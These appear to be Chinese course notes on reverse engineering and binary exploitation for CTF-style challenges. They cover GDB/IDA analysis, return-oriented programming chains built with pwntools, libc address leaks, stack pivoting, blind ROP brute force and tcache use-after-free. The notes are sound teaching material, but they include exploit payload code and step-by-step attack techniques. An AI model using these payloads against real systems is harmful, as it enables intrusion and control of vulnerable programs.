上一节我们介绍了逆向工程的基本概念。本节中,我们来看看如何应用工具解决实际挑战。



目前,许多同学在挑战 17.1 和 22.1 上遇到了困难。17.1 缺少 17.0 中提供的调试输出,而 22.1 则需要通过观察程序行为来动态推断指令编码。我们将以 17.0 和 17.1 为例,演示如何克服这些困难。


利用GDB脚本模拟调试输出
首先,我们看看如何让 17.1 像 17.0 一样打印出清晰的指令信息。核心思路是使用GDB的断点命令自动化功能。


以下是实现步骤:
- 在
17.0中定位关键函数:使用IDA打开17.0,我们可以找到名为interpret_immediate的函数,它负责处理立即数指令并打印信息。 - 编写GDB脚本:我们创建一个脚本(例如
do.gdb),在interpret_immediate函数入口设置断点,并定义断点触发时自动执行的命令。
这个脚本会在每次执行break interpret_immediate commands printf "calling interpret_immediate " printf "reg=%llx val=%llx ", $rsi, $rdx continue end runinterpret_immediate时,打印出寄存器编码($rsi)和立即数值($rdx)。 - 运行脚本:使用命令
gdb -x do.gdb ./challenge_17.0运行,即可获得与程序原生输出类似的动态信息。
将技术应用于无符号程序(17.1)
现在,我们将上述方法应用到没有符号的 17.1 上。
- 定位函数地址:由于
17.1没有符号,我们需要先找到目标函数在内存中的地址。可以使用objdump -d -M intel ./challenge_17.1进行反汇编,但更高效的方法是在IDA中查看。 - 在IDA中分析:打开
17.1,虽然函数名丢失,但通过对比17.0的逻辑或分析代码结构,我们可以推断出特定函数(如设置寄存器的函数)的位置。记下其起始地址(例如0x1464)。 - 修改GDB脚本:将脚本中的断点地址替换为实际地址,并使用GDB的
$base变量(代表ELF加载基址)进行修正。break *($base + 0x1464) commands printf "calling interpret_immediate " printf "reg=%llx val=%llx ", $rsi, $rdx continue end run - 执行效果:运行此脚本后,
17.1也会开始输出类似17.0的指令信息,极大地简化了分析过程。


使用IDA增强代码可读性


上一节我们使用GDB进行动态分析。本节中,我们来看看如何利用IDA的静态分析功能来理解程序结构。


对于 17.1,我们可以通过定义结构体(struct)来让反编译代码更清晰。



以下是操作流程:
- 识别内存布局:分析代码发现,一个指针(我们称之为
yawn85_memory)被频繁传递,偏移256字节后是模拟的寄存器区域。 - 定义结构体:在IDA的“Local Types”窗口中,创建一个新的结构体类型。
struct yawnstruct { char buff[256]; char reg_a; char reg_b; char reg_c; char reg_d; char reg_s; // ... 其他寄存器 }; - 应用类型:将
yawn85_memory指针的类型从普通的char*修改为struct yawnstruct*。 - 效果:反编译窗口中的代码会立即更新。原本晦涩的指针偏移计算(如
*(a1 + 256 + reg_index))会变成清晰的成员访问(如a1->reg_a),显著提升了代码的可读性,并帮助理解数据流。



深入分析:比较指令与动态取值


为了理解程序如何检查输入是否正确,我们需要分析比较指令。

- 定位比较逻辑:在
17.0的IDA中,找到interpret_compare函数。它调用read_register获取两个寄存器的值进行比较。 - 使用GDB检查比较值:我们可以在
interpret_compare函数中,read_register调用之后的位置设置断点,以捕获实际参与比较的数值。break *($base + 0x1480) # 假设这是比较操作前的地址 commands # 假设本地变量v7, v8在栈上的位置是 RSP+0x1e 和 RSP+0x1f printf "comparing: %x vs %x\n", *(unsigned char*)($rsp+0x1e), *(unsigned char*)($rsp+0x1f) continue end - 动态观察:通过运行并输入不同测试数据,可以观察这些比较值如何变化,从而逆向出输入被处理(或“混淆”)的逻辑。


总结与建议
本节课中我们一起学习了逆向工程中的几个核心技巧:
- GDB脚本自动化:通过
break和commands将动态调试过程自动化,为无符号程序“添加”调试输出。 - IDA结构体定义:通过定义和应用结构体类型,让模糊的反编译代码变得语义清晰。
- 结合动静态分析:使用GDB观察运行时数据,结合IDA的静态视图,全面理解程序逻辑。
对于更复杂的混淆逻辑(如 22.1),建议编写Python脚本进行模糊测试(Fuzzing),系统地生成和测试输入,而非手动计算。请避免过度依赖手写推算或Excel表格,充分利用这些工具能极大提升效率。

记住,逆向工程是一个“提出假设-验证假设”的循环过程。利用好工具,可以让你在这个循环中走得更快、更稳。
8:逆向工程(第8-9讲)📚






在本节课中,我们将学习逆向工程模块的收尾内容,重点探讨如何从内存中提取字节码、分析程序行为,并解决涉及侧信道分析的挑战。我们将使用GDB、IDA等工具,并通过简单的Python脚本来辅助分析。
概述





本节课我们将深入探讨逆向工程中的几个关键问题:如何从运行中的程序内存中提取Yan85字节码,如何分析动态生成的代码,以及如何应对像第22关这样涉及侧信道分析的挑战。我们将通过具体的例子,演示如何结合静态分析和动态调试来理解程序逻辑。


从内存中提取字节码 🧠
上一节我们介绍了如何编写反汇编器。本节中我们来看看,当字节码在程序运行时才被加载到内存中(例如第19关),我们该如何获取它们。




关键在于,这些字节码在程序执行的某个时间点必然存在于内存中。我们需要找到这个内存位置并将其内容提取出来。

以下是使用GDB进行提取的步骤:
- 在程序调用
memcpy或类似函数将字节码复制到目标缓冲区的位置设置断点。 - 当程序中断时,检查目标寄存器的值(例如
RDI),这通常是目标缓冲区的地址。 - 使用GDB的
x命令(例如x/100bx $rdi)来检查该地址处的内容,这些就是Yan85字节码。

# 在GDB中设置断点并检查内存
break *main+269
run
print $rdi
x/100bx $rdi
同样,在IDA中,你可以通过分析memcpy的参数来定位存储字节码的缓冲区,并直接查看其内容。
分析动态代码行为 🔍
从第20关开始,程序可能会在比较之前对输入进行某种“混淆”操作。仅仅静态查看反汇编可能不够,我们需要动态地理解程序行为。
一个有效的方法是生成不同输入下的执行轨迹并进行比较。
- 使用正确的输入和错误的输入分别运行程序,并将详细的输出(例如每条指令执行后的寄存器状态)保存到文件。
- 使用
diff工具比较这两个文件。 - 观察差异出现的位置,这通常就是输入影响程序决策的关键点。

# 生成并比较执行轨迹
./challenge20 < input_a.txt > trace_a.txt
./challenge20 < input_b.txt > trace_b.txt
diff trace_a.txt trace_b.txt

通过分析差异,你可以定位到关键的比较指令和受影响的寄存器,从而逆向出混淆逻辑。


理解Yan85的运算规则 ➕

Yan85 CPU对字节进行操作。这意味着所有算术运算(如加法)的结果都会被限制在8位(0-255)的范围内,即会发生模256的溢出。
例如,计算 0xD0 + 0x61:
- 十进制:208 + 97 = 305
- 十六进制:0x131
- 保留低8位:0x31



在Python中,你可以用以下方式模拟:
result = (0xD0 + 0x61) & 0xFF # 结果为 0x31
逆向这种运算时需要注意,因为溢出使得从结果反向推导原始值不是简单的减法。

应对侧信道分析挑战(第22关) 🕵️♂️

第22关引入了侧信道分析。你无法直接读取或调试标志,但可以通过观察程序的外部行为(如退出码、是否休眠、是否等待输入)来推断内部状态。

以下是分析和攻击此类挑战的策略:

首先,利用你对Yan85指令集的了解来大幅减少搜索空间。
- 有效的操作码只有8个(1, 2, 4, 8, 16, 32, 64, 128),因为它们对应8个独立的位。
- 这意味着在猜测指令结构时,操作码的候选值从256个减少到了8个。

其次,系统地探测程序行为。
你可以编写一个脚本,遍历所有可能的指令组合(在合理的范围内),并观察程序反应:
以下是可观测的行为及其可能对应的指令:
- 程序崩溃(退出码非0):通常是无效指令或错误参数。
- 程序正常退出(退出码为0):可能触发了
exit系统调用。 - 程序暂停一段时间:可能触发了
sleep系统调用。 - 程序等待输入:可能触发了
read系统调用。
通过观察哪些字节的变化会改变这些行为,你可以推断出指令的格式(例如,哪个字节是操作码,哪个字节是参数)。


最后,迭代和推理。
这是一个假设-测试-学习的循环过程:
- 提出一个关于指令结构的假设(例如,“第一个字节是操作码”)。
- 设计测试来验证(例如,固定其他字节,遍历8个可能的操作码值,观察行为变化)。
- 根据结果修正你的模型,然后重复。


关于随机化种子 🌱
在第22关及后续一些挑战中,程序使用你的标志作为种子来初始化伪随机数生成器(srand)。这意味着:
- 程序的行为(如指令编码)基于你的标志是确定性的。
- 在“练习”模式和“挑战”模式下,由于标志不同,程序行为也会不同。
- 使用GDB等调试器会降低进程权限,导致无法读取
/flag,从而使随机化过程失败,程序行为改变。因此,在解决这类挑战时,动态调试可能无法直接使用。
总结
本节课中我们一起学习了逆向工程中的几个高级技巧:
- 提取运行时字节码:使用调试器在内存中定位并提取动态加载的代码。
- 动态行为分析:通过比较不同输入的执行轨迹来定位关键逻辑。
- 理解字节运算:明确了Yan85中模256运算的规则及其对逆向的影响。
- 侧信道分析:掌握了通过观察程序外部行为来推断内部状态和指令结构的方法,并学会了利用指令集特性来缩小搜索空间。

这些技能将帮助你们攻克逆向工程模块中最具挑战性的问题。记住,逆向工程通常没有唯一正确的工具或路径,关键在于结合你对系统的理解,选择合适的方法进行逻辑推理和实验验证。
9:面向返回的编程


在本节课中,我们将要学习面向返回的编程(ROP)的基本概念。ROP是一种高级的内存利用技术,它允许攻击者在存在安全防护(如不可执行栈)的情况下,通过复用程序中已有的代码片段(称为“gadget”)来构建恶意逻辑。我们将从回顾基础的栈溢出开始,逐步理解ROP的原理和构建方法。
回顾:栈溢出与函数调用
上一节我们介绍了逆向工程和缓冲区溢出。本节中,我们来看看如何利用这些知识作为ROP的基础。
一个简单的C程序展示了经典的缓冲区溢出漏洞:
void challenge() {
char buff[256];
read(0, buff, 512); // 允许读取超过缓冲区大小的数据
}
该程序将512字节的数据读入一个256字节的缓冲区,造成了栈溢出。攻击者可以覆盖保存在栈上的函数返回地址。
为了成功利用,我们需要知道覆盖返回地址所需的偏移量。通过调试分析,可以确定从缓冲区起始到返回地址的偏移是264字节(256字节缓冲区 + 8字节保存的RBP)。


如果程序中存在一个win函数,我们可以通过溢出将返回地址覆盖为win函数的地址,从而劫持程序流。

地址空间布局随机化与位置无关可执行文件

在深入ROP之前,我们需要理解两个关键的安全机制:ASLR和PIE。

- ASLR:一种运行时配置,由操作系统内核控制。它随机化进程内存空间中各区域(如栈、堆、库)的基地址。可以通过
/proc/sys/kernel/randomize_va_space文件查看和配置。 - PIE:一种编译时选项(
-fPIE -pie)。它使可执行文件本身(ELF)的代码段(.text)和数据段能够被加载到内存中的任意地址。PIE是ASLR对主二进制文件生效的前提。
一个重要概念是,即使启用了ASLR,内存中连续映射的区域(如ELF的各个段或共享库的各个段)之间的相对偏移是固定的。这意味着,如果你泄露了某个区域中的一个地址,就可以计算出同一区域或其他相邻区域中任何目标的地址。
ROP核心概念:从“小函数”到Gadget
如果目标二进制中没有像win这样的理想函数,传统的跳转方法就失效了。ROP的核心思想由此产生:我们能否利用程序中已有的、以ret指令结尾的短小指令序列来拼凑出我们想要的逻辑?
一个函数的最小形式可以是一条指令后接ret。ret指令相当于pop rip,它会将栈顶的值弹出并设置为下一条要执行的指令地址。在栈溢出中,我们控制了栈上的内容,因此也间接控制了ret后程序要跳转的地址。
考虑以下指令序列:
pop rdi
ret
如果我们能将这个序列的地址覆盖到返回地址,那么当函数返回时:
- 执行
pop rdi,将当前栈顶的值(由我们控制)放入rdi寄存器。 - 执行
ret,再次从栈顶弹出下一个地址并跳转。
通过精心安排栈上的数据(一系列gadget地址和所需参数),我们可以让程序像执行一个“由ret指令串联起来的自定义程序”一样,依次执行多个gadget。这就是“面向返回的编程”——我们通过控制返回地址链来编程。
寻找与利用Gadget
手动在二进制中搜索有用的gadget非常繁琐。以下是常用的自动化工具:
ROPgadgetrp++ropper(更侧重于内核ROP)
以ROPgadget为例,在二进制上运行它,会列出所有找到的以ret(或类似指令)结尾的短指令序列。
以下是可能找到的一些gadget示例:
0x000000000040111a : pop rdi ; ret
0x000000000040111c : pop rsi ; pop r15 ; ret
0x0000000000401016 : ret
在选择gadget时,必须考虑其副作用。例如,一个pop rsi ; pop r15 ; ret的gadget在设置rsi的同时也会从栈中弹出一个值到r15。在构建ROP链时,需要为这些额外的pop操作提供“填充”数据。
构建一个简单的ROP链
假设我们需要调用open(“flag”, 0)。在x86-64 Linux调用约定中,第一个参数由rdi传递,第二个由rsi传递。
我们可以这样构建ROP链:
- Gadget 1:
pop rdi ; ret– 用于设置文件名地址。 - 参数 1: 指向字符串
”flag”的地址(需要提前在内存中布置或找到)。 - Gadget 2:
pop rsi ; ret– 用于设置标志位。 - 参数 2:
0(表示只读打开)。 - 目标函数地址:
open函数在内存中的地址(如通过PLT表调用open@plt)。
最终的栈布局(从低地址到高地址,即溢出方向)如下:
[垃圾数据填充偏移量] + [Gadget1地址] + [“flag”字符串地址] + [Gadget2地址] + [0] + [open@plt地址] + ...
当溢出发生后,函数返回到Gadget1,开始执行我们的ROP链。
调试技巧与注意事项
调试ROP比调试Shellcode更复杂,因为代码不是连续注入的。你需要:
- 在关键
ret指令处设置断点。 - 单步执行,观察每次
ret后跳转的地址是否符合预期。 - 检查每次
pop操作后,寄存器的值是否被正确设置。
在使用pwntools进行漏洞利用开发时,可以通过以下设置禁用ASLR以便调试:
context.aslr = False
但请注意,这通常要求进程不是由sudo启动的。


总结


本节课中我们一起学习了面向返回编程的基础。ROP是一种强大的代码复用攻击技术,它通过串联程序中现有的、以ret结尾的短指令序列(gadget)来构建任意逻辑,从而绕过不可执行栈等防护。理解栈布局、函数调用约定以及ASLR/PIE机制是成功实施ROP攻击的关键。在接下来的实践中,你将学习如何利用工具寻找gadget,并组合它们来完成复杂的任务,例如调用系统函数或绕过更高级的防护。
10:返回导向编程教程


在本节课中,我们将要学习返回导向编程的基本概念、工作原理以及如何利用它来执行任意代码。我们将通过一个简单的示例来演示如何构建ROP链,并解释相关的核心概念。
概述
返回导向编程是一种利用程序中已有的代码片段来执行任意操作的技术。通过控制程序的返回地址,我们可以将多个代码片段连接起来,形成一个完整的攻击链。本节将详细介绍ROP的基本原理和实际应用。
ROP的基本原理

上一节我们介绍了缓冲区溢出和栈溢出的基本概念,本节中我们来看看如何利用ROP技术来执行任意代码。ROP的核心思想是利用程序中已有的代码片段,通过控制返回地址来连接这些片段,从而执行我们想要的操作。
核心概念
以下是ROP中的几个核心概念:
- Gadget(代码片段):Gadget是程序中以
ret或jmp指令结尾的一小段代码。我们可以通过控制返回地址来跳转到这些Gadget,并执行其中的指令。 - ROP链:通过将多个Gadget的地址按顺序排列在栈上,我们可以形成一个ROP链。每个Gadget执行完毕后,会通过
ret指令跳转到下一个Gadget,从而连续执行多个操作。 - 控制流劫持:通过溢出缓冲区覆盖返回地址,我们可以劫持程序的控制流,使其跳转到我们指定的Gadget。
Gadget的查找与使用
为了构建ROP链,我们需要找到程序中的可用Gadget。以下是查找Gadget的几种方法:
- 使用工具:可以使用
ROPgadget等工具来自动搜索程序中的Gadget。 - 手动查找:通过反汇编程序,手动查找以
ret或jmp结尾的代码片段。 - 利用现有函数:除了Gadget,我们还可以直接跳转到程序中的现有函数,如
system或execve,来执行更复杂的操作。
构建ROP链的步骤
构建ROP链通常包括以下几个步骤:


- 确定偏移量:首先,我们需要确定缓冲区到返回地址的偏移量。这可以通过发送特定模式的数据并观察程序崩溃时的状态来实现。
- 查找Gadget:使用工具或手动查找程序中的可用Gadget,特别是那些可以设置寄存器或执行系统调用的Gadget。
- 构建Payload:将Gadget的地址按顺序排列在Payload中,并在需要时插入数据(如字符串地址或系统调用号)。
- 发送Payload:将构建好的Payload发送给目标程序,触发缓冲区溢出并执行ROP链。
示例演示
下面我们通过一个简单的示例来演示如何构建ROP链。假设我们有一个没有PIE保护的二进制文件,并且我们已经找到了以下Gadget:
pop rax; ret- 地址:0x1187pop rdi; ret- 地址:0x1185pop rdx; pop rbp; ret- 地址:0x1189syscall- 地址:0x1180
我们的目标是调用open系统调用来打开一个文件。以下是构建ROP链的Python代码示例:
from pwn import *
context.arch = 'amd64'
# Gadget地址
pop_rax = 0x1187
pop_rdi = 0x1185
pop_rdx_pop_rbp = 0x1189
syscall_addr = 0x1180
# 字符串地址(例如:指向"!"的地址)
string_addr = 0x201a
# 系统调用号:open = 2
syscall_num = 2
# 构建Payload
payload = b'A' * 264 # 填充到返回地址
payload += p64(pop_rax) + p64(syscall_num) # 设置rax为2
payload += p64(pop_rdi) + p64(string_addr) # 设置rdi为字符串地址
payload += p64(pop_rdx_pop_rbp) + p64(0) + p64(0) # 设置rdx为0,rbp为0
payload += p64(syscall_addr) # 调用syscall
# 发送Payload
p = process('./demo')
p.send(payload)
p.interactive()
总结
本节课中我们一起学习了返回导向编程的基本原理和实际应用。通过控制返回地址,我们可以利用程序中已有的代码片段来执行任意操作,从而绕过各种安全机制。ROP技术虽然复杂,但它是现代漏洞利用中的重要手段,理解其原理对于深入理解计算机系统安全至关重要。
11:ROP与栈转移技术详解 🚀

概述
在本节课中,我们将深入学习面向返回的编程技术,特别是如何利用ROP链进行内存破坏攻击,并探讨栈转移这一高级技巧。课程内容基于实际挑战,旨在帮助初学者理解核心概念。
课程内容回顾与ROP基础

上一节我们介绍了内存破坏的基本原理。本节中,我们来看看如何通过覆盖保存的返回地址来构建更复杂的攻击链,即ROP。
ROP是内存破坏攻击的自然延伸。其核心在于,我们不仅覆盖初始的保存返回地址,还进一步破坏栈上的其他数据,从而控制程序执行流。
ROP的核心机制
当程序存在缓冲区溢出漏洞时,我们可以向栈中写入超出预定长度的数据。通过精心构造这些数据,我们可以将返回地址指向程序中已有的、以ret指令结尾的短指令序列(称为“gadget”)。通过串联多个gadget,就能实现复杂的逻辑,例如调用系统函数。
关键公式:溢出数据 = 填充数据 + gadget1地址 + gadget2地址 + ... + 目标函数地址
初识ROP挑战
早期的ROP挑战通常较为简单,二进制文件中可能直接包含system调用,方便练习。但随着挑战深入,限制会增多,例如限制可用的gadget数量,或引入地址空间布局随机化。
利用工具构建ROP链 🔧
上一节我们手动计算gadget地址。本节中,我们来看看如何使用pwntools等工具自动化构建ROP链,提高效率。
pwntools是一个强大的Python库,它提供了ROP模块,可以自动搜索gadget并计算其在运行时内存中的正确地址。
以下是使用pwntools构建ROP链的基本步骤:
-
设置上下文与加载二进制文件:
from pwn import * context.arch = ‘amd64’ e = ELF(‘./challenge_binary’) -
创建ROP对象并设置基址(对于PIE二进制文件至关重要):
# 假设通过泄露获得了main函数的运行时地址 main_leak e.address = main_leak - e.symbols[‘main’] # 设置ELF的基地址 r = ROP(e) -
构建ROP链:
r.raw(r.find_gadget([‘pop rdi’, ‘ret’])) # 寻找并添加pop rdi; ret gadget r.raw(e.got[‘puts’]) # 将puts在GOT中的地址作为pop rdi的参数 r.raw(e.plt[‘puts’]) # 调用puts@PLT -
生成载荷:
payload = b’A’ * offset_to_rip # 填充数据直到覆盖返回指令指针 payload += r.chain() # 附加构建好的ROP链
使用r.dump()可以直观地查看构建的ROP链结构。pwntools还能自动处理函数调用参数设置等复杂任务,但自动化工具有时可能不稳定,理解其底层原理仍然重要。


地址泄露与库函数定位 🗺️
仅仅控制执行流还不够。本节中,我们来看看如何利用ROP泄露关键内存地址,特别是LibC库的基址,为后续调用如system这样的库函数铺平道路。
PLT与GOT的区别
- PLT:过程链接表。包含用于延迟绑定的存根代码。调用
puts@PLT会跳转到动态链接器去解析puts的真实地址。 - GOT:全局偏移表。存储已解析函数的实际地址。
puts@GOT中存放的就是puts函数在LibC中的地址。
泄露LibC地址的步骤
- 利用ROP调用
puts:构造ROP链,以puts@GOT的地址为参数,调用puts@PLT。这会打印出puts函数在内存中的实际地址。 - 解析泄露的地址:从程序输出中接收这个地址的字节表示,并将其转换为整数。
# 接收输出,直到特定字符串(如‘input!’) leak_bytes = p.recvuntil(b‘input!’) # 提取地址字节(例如最后6个字节),并用空字节填充至8字节 puts_addr = u64(leak_bytes[-6:].ljust(8, b‘\x00‘)) - 计算LibC基址:用泄露的
puts地址减去LibC中puts函数的固定偏移量,即可得到LibC的基址。libc_base = puts_addr - libc.symbols[‘puts’] libc.address = libc_base # 为pwntools的libc对象设置基址

关于ASLR/PIE的要点
地址随机化并非作用于每个字节。内存页(通常为4096字节,即0x1000)是随机化的最小单位。因此,一个函数地址的最后三个十六进制数字(即页内偏移)在每次运行中是固定的。这为部分覆盖等技巧提供了可能。
栈转移技术详解 🏗️
当栈空间不足以容纳长的ROP链,或我们需要切换到一个完全可控的内存区域时,就需要用到栈转移。
上一节我们学会了泄露地址。本节中,我们来看看如何通过栈转移将栈指针RSP指向我们准备好的新区域。
什么是栈转移?
栈转移的核心思想是改变栈指针RSP的值,使其指向攻击者控制的另一个内存区域(例如BSS段中的全局缓冲区)。随后,ret指令将从这片新区域读取并执行后续的ROP链。
实现栈转移的常见gadget
理想的gadget是pop rsp; ret,它可以直接设置RSP。但这类gadget并不常见。更实用的方法是利用函数尾声的leave; ret指令。
leave指令等价于:
mov rsp, rbp
pop rbp
因此,栈转移的攻击链通常如下构造:
- 将目标地址(如
global_buf - 8)放入RBP。 - 执行
leave; ret。mov rsp, rbp:使RSP指向global_buf - 8。pop rbp:将global_buf - 8处存储的值(可以是任意值)弹出到RBP,此时RSP指向global_buf。ret:从global_buf开始执行我们预先放置的第二阶段ROP链。
栈转移的挑战与调试
栈转移后,程序会使用新的内存区域作为栈。这可能引发问题:
- 栈对齐问题:某些LibC函数要求栈指针16字节对齐。如果不对齐,会导致崩溃。解决方法是在调用前添加一个额外的
retgadget来微调RSP。 - 栈空间耗尽:新的“栈”区域可能大小有限。如果函数调用链过深,
push操作可能使RSP移动到不可写的内存页,导致段错误。解决方法是确保栈指针初始位置足够“深入”可控缓冲区。
调试栈转移攻击需要仔细跟踪RSP和RBP寄存器的变化,并使用GDB检查内存映射,确保栈操作在合法区域内。
总结
本节课中我们一起学习了ROP攻击的核心技术。我们从基础的ROP链构建开始,介绍了如何利用pwntools工具简化流程。接着,深入探讨了通过泄露GOT表地址来定位LibC库的方法,这是实现高级利用的关键。最后,我们讲解了栈转移这一高级技巧,理解了如何通过leave; ret等gadget切换栈空间以部署更复杂的攻击链。

记住,理解底层原理(如栈帧布局、指令执行效果)远比盲目使用自动化工具更重要。遇到问题时,结合GDB进行调试,从“第一性原理”出发进行推理,是解决问题的根本途径。
12:ROP与堆利用入门


在本节课中,我们将学习面向返回编程(ROP)的基本概念,并初步了解动态内存分配器(堆)的利用。课程内容基于一次课堂演示,涵盖了ROP攻击中的常见问题、堆利用的预备知识以及一些实用的调试技巧。
栈地址泄露与数据处理
上一节我们讨论了ROP的基本原理。本节中,我们来看看在利用过程中处理输入数据时的一个关键细节。
从进程读取数据时,我们通常会得到一个字节字符串,末尾可能包含换行符 \n(十六进制为 0x0a)。我们的目标是获取这些字节本身。
以下是处理这种数据的几种方法及其潜在问题:
strip()方法的问题:strip()会移除字符串开头和结尾的所有指定字符。如果我们要泄露的地址的最低有效字节恰好是0x0a,使用strip('\n')会错误地移除这个属于地址本身的字节,导致数据损坏。replace()方法的问题:replace('\n', '')会替换字符串中所有的换行符。如果数据内部也包含0x0a字节,它同样会被移除,这通常也不是我们想要的结果。- 推荐的方法:更可靠的方法是使用Python切片操作,直接丢弃最后一个字节。这样可以确保只移除末尾的换行符,而保留数据部分的所有字节。



# 假设 received_data 是从进程读取的字节串,末尾有换行符
clean_data = received_data[:-1] # 丢弃最后一个字节(换行符)
栈迁移(Stack Pivot)概念
在ROP攻击中,我们经常需要将栈指针(RSP)指向一个由我们控制的内存区域,这个过程称为栈迁移或栈旋转。
栈迁移的核心是找到一条能够设置RSP寄存器值的指令(gadget),例如 mov rsp, rax 或 xchg rsp, rax。成功迁移栈后,后续的ROP链就可以从这个新位置开始执行。上周的课程演示中,我们通过一个具体的二进制程序实践了栈迁移的完整过程。
动态内存分配器(堆)利用简介
到目前为止,我们主要利用的是栈缓冲区溢出。从下一个模块开始,我们将重点转向堆利用。
堆是用于动态内存分配的区域,与栈的线性布局不同,堆的管理涉及复杂的元数据结构和指针操作。利用堆的漏洞(如Use-After-Free、堆溢出)可以获取强大的攻击原语,例如任意内存读和任意内存写。
分析堆状态时,使用GDB插件(如pwndbg或gef)几乎必不可少,它们能以清晰的方式展示堆块、bins等信息,极大简化调试过程。本模块的挑战难度曲线较陡,尤其是涉及safe-linking等保护机制的后期关卡,需要投入更多时间。
无信息泄露下的ROP(Blind ROP)思路
有时我们面临没有信息泄露的挑战(或称为“盲”攻击)。一种攻击思路是结合分叉服务器(fork server)进行暴力破解。
其核心思想是:在内存布局不变的前提下,我们可以逐字节地尝试覆盖返回地址的最低有效部分。我们寻找一个“预言机”(Oracle)——即某个能被触发并产生可观测行为(如打印特定字符串、改变退出码)的代码地址(例如一个函数或gadget)。
- 暴力搜索:首先,我们猜测目标地址的一部分字节(例如低3个半字节),并观察程序行为。当触发“预言机”行为时,我们就知道命中了目标地址的这部分。
- 逐字节泄露:接着,我们固定已命中的部分,开始暴力猜测下一个字节。当再次触发“预言机”行为时,我们就泄露了下一个字节的值。
- 计算基址:重复此过程,最终可以泄露出一个完整的libc中的地址。结合libc的版本,我们就能计算出libc的基址,从而构建完整的ROP链。
这种方法成功的关键在于存在一个稳定的分叉服务器和可观测的“预言机”行为。
关于帧指针(RBP)的说明
在调试时,你可能会发现某些函数(如libc中的read)的栈帧中没有保存的RBP值。
这是因为编译器可以使用 -fomit-frame-pointer 选项进行优化。启用该选项后,函数将使用RSP而非RBP来引用局部变量,从而省略了保存和恢复RBP的指令。虽然这增加了手动分析栈帧的难度,但并不影响ROP攻击的本质。
总结

本节课中我们一起学习了ROP攻击中数据处理的重要性、栈迁移的概念,并初步了解了堆利用和盲ROP攻击的基本思路。我们还介绍了一些实用的工具和调试技巧。理解这些基础概念对于后续更复杂的内存漏洞利用至关重要。
13:动态分配器滥用


在本节课中,我们将要学习动态分配器(堆)的滥用与利用。我们将重点关注堆的第一层——Tcache,并学习如何通过内存损坏来操纵它,从而实现利用。内容将涵盖堆的基本概念、Tcache的工作原理以及一个简单的“释放后使用”漏洞示例。
堆与动态内存概述
上一节我们介绍了ROP攻击。本节中,我们来看看另一种常见的内存损坏攻击面——堆。
程序运行时需要内存来存储数据。栈内存用于局部变量,其生命周期与函数调用绑定。当我们需要在函数调用间持久保存数据,或者需要的内存大小在编译时无法确定时,就需要使用动态内存,即堆内存。
在C语言中,我们使用 malloc 函数在堆上申请内存,使用 free 函数释放不再需要的内存。
void *ptr = malloc(20); // 申请20字节内存
free(ptr); // 释放内存

malloc 返回一个指向堆内存区域的指针。free 则告诉堆分配器:“这块内存我不再使用了,你可以回收它以备后用”。但 free 操作不会自动将程序中的指针变量置为 NULL。如果程序之后错误地继续使用这个“已释放”的指针,就会导致“释放后使用”漏洞。

Tcache 简介


为了提升性能,现代堆分配器(如 glibc 的 ptmalloc)引入了 Tcache。Tcache 是线程本地缓存,用于快速分配和释放较小尺寸的内存块。
Tcache 的核心是一个单向链表结构,其行为类似于栈(后进先出)。每个特定大小的内存块(例如 32 字节)在释放后,会被放入对应大小的 Tcache bin 中。当再次申请相同大小的内存时,分配器会优先从 Tcache 链表中取出最近释放的块,而不是向操作系统申请新的内存。
以下是 Tcache 链表操作的简化描述:
- 释放内存:将被释放的块插入链表头部。
- 分配内存:从链表头部取出一个块返回给程序。


利用思路:释放后使用

“释放后使用”漏洞的核心在于:程序释放了一块内存,但未能清空指向它的指针,后续又通过这个“悬垂指针”访问了该内存。而此时,这块内存可能已经被重新分配并存放了其他数据。
一个典型的利用场景如下:
- 程序分配一块内存 A,并用指针
ptr指向它。 - 程序释放 A,
ptr未置空,成为悬垂指针。A 被放入 Tcache。 - 程序(或其他函数)申请一块与 A 大小相同的内存 B。由于 Tcache 机制,B 很可能就是刚刚释放的 A。
- 程序通过悬垂指针
ptr读取或写入。此时它操作的实际是内存 B 的内容。 - 如果 B 中存放了敏感数据(如标志),那么通过
ptr就能泄露它;如果能向ptr写入数据,就能篡改 B 的内容。



实战分析:挑战关卡示例
让我们结合一个简单的挑战关卡来理解这个过程。以下是关卡可能提供的操作菜单:

1. malloc
2. free
3. puts (打印某个分配块的内容)
4. read_flag (申请内存并将标志读入其中)
5. quit


利用步骤:

- 分配并释放:首先,使用
malloc申请一块特定大小的内存(例如 32 字节),然后立即free它。这个块现在位于 Tcache 中,但程序中指向它的指针仍然有效。 - 触发重分配:调用
read_flag函数。该函数会申请内存来存储标志。关键点:确保read_flag申请的内存大小与你第一步释放的块大小相同(或属于同一 Tcache bin 的大小范围)。这样,read_flag就会从 Tcache 中拿到你刚刚释放的那块内存。 - 读取标志:最后,使用
puts功能,传入你第一步保存的那个悬垂指针。由于该指针指向的内存现在已被read_flag用于存放标志,因此puts会打印出标志内容。



核心逻辑公式:
malloc(A) -> free(A) -> malloc(B) == A -> use dangling pointer to A (which now holds B‘s data)
调试与可视化

在利用堆漏洞时,观察内存状态至关重要。GDB 配合 pwndbg 或 gef 插件可以提供强大帮助。


以下是两个常用命令:
heap bins:查看 Tcache 等各类 bins 的状态,包括链表头指针和链表中的块。heap chunks:以更直观的方式显示堆中所有块(chunk)的布局、大小和相邻关系,帮助你判断哪些块在内存中是连续的,从而规划溢出等攻击。

通过调试,你可以验证块是否按预期进入 Tcache,以及内存布局是否符合你的利用假设。







总结
本节课中我们一起学习了堆利用的基础知识。我们了解了动态内存和 Tcache 的基本概念,重点剖析了“释放后使用”漏洞的原理和利用方法。关键在于理解 free 不会清空指针,以及 Tcache 的“后进先出”分配机制如何让攻击者控制重新分配的内存内容。

记住,本模块的所有挑战都围绕 Tcache 展开。不要过早深入更复杂的堆结构(如 small bins、large bins),专注于掌握如何欺骗 Tcache 链表即可。接下来的挑战将在此基础上,引入更多的内存损坏技巧。
14:动态分配器误用
在本节课中,我们将学习动态内存分配器(堆)的基本原理,以及如何利用其管理机制中的漏洞。我们将通过一个示例程序,演示如何通过“释放后使用”和“过度读取”等技术来泄露堆内存地址,并理解堆块元数据在其中的关键作用。


概述与核心概念
动态内存分配器(如malloc和free)管理着一块称为“堆”的连续内存区域。当程序调用malloc请求内存时,分配器会返回一个指向可用内存块的指针。然而,分配器为了管理这些内存块(例如,跟踪哪些块是空闲的),会在返回给用户的指针之前或之后存储一些元数据。
一个关键概念是,当一块内存被free释放后,它可能会被放入一个空闲列表(例如tcache)中以便重用。此时,该内存块中原先的用户数据区域会被分配器用来存储管理信息,比如指向列表中下一个空闲块的指针。
